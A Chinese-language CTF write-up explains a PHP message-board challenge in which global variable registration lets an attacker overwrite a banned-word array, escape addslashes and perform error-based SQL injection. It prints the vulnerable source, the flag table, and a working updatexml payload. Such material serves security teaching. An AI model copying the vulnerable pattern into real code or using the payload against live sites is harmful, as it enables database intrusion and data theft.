index.php
include 'config.php';
include 'function.php';
$conn = new mysqli($servername,$username,$password,$dbname);
if($conn->connect_error){
die('连接数据库失败');
}
$sql = "SELECT COUNT(*) FROM users";
$result = $conn->query($sql);
if($result->num_rows > 0){
$row = $result->fetch_assoc();
$id = $row['COUNT(*)'] + 1;
}
else die($conn->error);
if(isset($_POST['msg']) && $_POST['msg'] !==''){
$msg = addslashes($_POST['msg']);
$msg = replace_bad_word(convert($msg));
$sql = "INSERT INTO users VALUES($id,'".$msg."')";
$result = $conn->query($sql);
if($conn->error) die($conn->error);
}
echo "Welcome come to HRSEC message board
";
echo <<<EOF
EOF;
$sql = "SELECT * FROM users";
$result = $conn->query($sql);
if($result->num_rows > 0){
echo "id message ";
while($row = $result->fetch_row()){
echo "$row[0] $row[1] ";
}
echo "
";
}
$conn->close();
?>
function.php
function replace_bad_word($str){
global $limit_words;
foreach ($limit_words as $old => $new) {
strlen($old) > 2 && $str = str_replace($old,trim($new),$str);
}
return $str;
}
function convert($str){
return htmlentities($str);
}
$limit_words = array('造化' => '造**', '法国' => '法*');
foreach (array('_GET','_POST') as $method) {
foreach ($$method as $key => $value) {
$$key = $value;
}
}
?>
$servername = "localhost";
$username = "root";
$password = "root";
$dbname = "day9";
?>
create database day9;
use day9;
create table users(
id integer auto_increment not null primary key,
message varchar(50)
);
create table flag( flag varchar(40));
insert into flag values('HRCTF{StR_R3p1ac3_anD_sQ1_inJ3ctIon_zZz}');
进入网站:
http://10.211.55.2:100/day9/index.php
实际上这题是以齐博CMS
的漏洞为原型改造的,让我们具体来看一下漏洞是如何产生的。题目提供了一个留言版
功能,并且对用户提交的留言进行 HTML实体编码转换
、特殊字符转义
、 违禁词过滤
等处理,然后直接与sql语句
进行拼接操作(index.php文件 下面第4行),具体代码如下:
if(isset($_POST['msg']) && $_POST['msg'] !==''){
$msg = addslashes($_POST['msg']);
$msg = replace_bad_word(convert($msg));
$sql = "INSERT INTO users VALUES($id,'".$msg."')";
$result = $conn->query($sql);
if($conn->error) die($conn->error);
}
这些转换函数都可以在 function.php
文件中找到,我们很明显可以看到在第16-19行
处进行了全局变量注册,这样就很容易引发变量覆盖问题。在第14行
处定义了需要替换的违禁词数组,并在replace_bad_word
函数中进行替换。这里,我们便可以通过覆盖 $limit_words
数组,来逃逸单引号,因为在index.php
文件中使用了addslashes
函数(上面代码第2行)。
function replace_bad_word($str){
global $limit_words;
foreach ($limit_words as $old => $new) {
strlen($old) > 2 && $str = str_replace($old,trim($new),$str);
}
return $str;
}
function convert($str){
return htmlentities($str);
}
$limit_words = array('造化' => '造**', '法国' => '法**');
foreach (array('_GET','_POST') as $method) {
foreach ($$method as $key => $value) {
$$key = $value;
}
}
?>
(PHP 4, PHP 5, PHP 7)
addslashes() 函数返回在预定义的字符前添加反斜杠的字符串。
预定义字符是:
- 单引号(’)
- 双引号(")
- 反斜杠(\)
- NULL
addslashes(string)
参数 | 描述 |
---|---|
string | 必需。规定要转义的字符串。 |
Who’s Peter Griffin? This is not safe in a database query.
Who’s Peter Griffin? This is safe in a database query.
我们使用第一个 payload
如下:
msg=1%00' and updatexml(1,concat(0x7e,(select * from flag),0x7e),1))#&limit_words[\0\]=
这样我们便注出了flag
,但是这里的flag
并不齐全,因为updatexml
报错 最多只能显示 32位
,所以下面我使用reverse
函数注出尾部数据。当然方法不止这一种,大家自己举一反三。
然后用python逆过来